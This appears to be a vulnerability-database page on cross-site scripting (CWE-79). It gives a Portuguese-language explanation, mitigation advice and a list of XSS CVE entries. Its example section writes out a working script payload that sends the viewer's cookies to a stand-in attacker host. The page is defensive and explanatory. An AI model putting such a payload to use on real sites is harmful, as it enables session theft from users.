Fallos del tipo CWE-79

30.259 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-10331MEDIUMcdevroe unmark Marks.php cross site scriptingEPSS 0.3%CVE-2025-64112HIGHStatmatic vulnerable to Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-6124HIGHReflected XSS in Hubshare via Open RedirectEPSS 0.3%CVE-2025-2131MEDIUMdayrui XunRuiCMS Friendly Links cross site scriptingEPSS 0.3%CVE-2024-20403MEDIUMA vulnerability in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an authenticated, remoEPSS 0.3%CVE-2024-9452MEDIUMBranding <= 1.0 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2026-45072LOWSymfony: Stored XSS in WebProfiler CodeExtension::fileExcerpt() — Unescaped Non-PHP File RenderingEPSS 0.3%CVE-2026-118242HIGHHighcharts Grid: custom icon definition objects written with raw `setAttribute` on `<path>`EPSS 0.3%CVE-2026-2145MEDIUMcym1102 nginxWebUI Web Management check cross site scriptingEPSS 0.3%CVE-2025-32680MEDIUMWordPress Review Stream plugin <= 1.6.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-2975MEDIUMGFI KerioConnect Signature EditHtmlSource cross site scriptingEPSS 0.3%CVE-2025-9104MEDIUMPortabilis i-Diario Informações Adicionais /planos-de-aulas-por-disciplina cross site scriptingEPSS 0.3%CVE-2025-9168MEDIUMSolidInvoice Invoice Creation invoice cross site scriptingEPSS 0.3%CVE-2024-8776MEDIUMINTUMIT SmartRobot - Cross-site ScriptingEPSS 0.3%CVE-2026-6275MEDIUMStatCounter <= 2.1.1 - Authenticated (Author+) Stored Cross-Site Scripting via Author NicknameEPSS 0.3%CVE-2026-6592MEDIUMComfyUI userdata Endpoint user_manager.py getuserdata cross site scriptingEPSS 0.3%CVE-2025-9169MEDIUMSolidInvoice Quote quotes cross site scriptingEPSS 0.3%CVE-2024-35775MEDIUMWordPress Slider by Soliloquy plugin <= 2.7.6 - Broken Access Control to XSS vulnerabilityEPSS 0.3%CVE-2025-14039MEDIUMSimple Folio <= 1.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'Client name' and 'Link' Meta FieldsEPSS 0.3%CVE-2026-83539HIGHApache Wicket: XSS in SmartLinkLabel and SmartLinkMultiLineLabel via a javascript: URL in the model dataEPSS 0.3%